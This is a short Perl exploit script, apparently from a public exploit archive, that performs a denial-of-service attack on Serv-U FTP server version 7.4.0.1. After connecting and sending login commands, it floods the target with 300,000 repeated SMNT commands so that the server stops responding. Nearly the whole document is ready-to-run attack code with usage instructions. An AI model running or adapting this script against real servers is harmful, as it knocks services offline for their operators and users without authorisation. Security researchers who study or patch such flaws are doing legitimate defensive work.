Serv-U 7.4.0.1 Denial Of Service

`#!/usr/bin/perl  
# Soft : FTP Serv-U  
# Version : v7.4.0.1  
#  
# Denial of Service in Serv-u up to 7.4.0.1 (no crash)  
# Just the server is saturated, it stops responding.  
#  
# Author: Jonathan Salwan  
# Mail: submit [AT] shell-storm.org  
# Web: http://www.shell-storm.org  
  
  
use IO::Socket;  
print "[+] Author : Jonathan Salwan \n";  
print "[+] Soft: FTP Serv-U\n";  
  
if (@ARGV < 3)  
{  
print "[*] Usage: <serv-u.pl> <host> <port>\n";  
print "[*] Exemple: serv-u.pl 127.0.0.1 21 jonathan toto\n";  
exit;  
}  
  
$ip = $ARGV[0];  
$port = $ARGV[1];  
$user = $ARGV[2];  
$pass = $ARGV[3];  
  
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";  
  
print "\n[+] Connecting: Ok!\n";  
print "[+] Sending request...\n";  
  
  
$evil = "SMNT\r\n" x 300000;  
  
$after = "\x2A\x2A";  
  
print $socket "USER $user\r\n";  
print $socket "PASS $pass.$after\r\n";  
print $socket "$evil";  
  
sleep(1);   
close($socket);  
  
print "[+]Done! the server is saturated.\n";  
`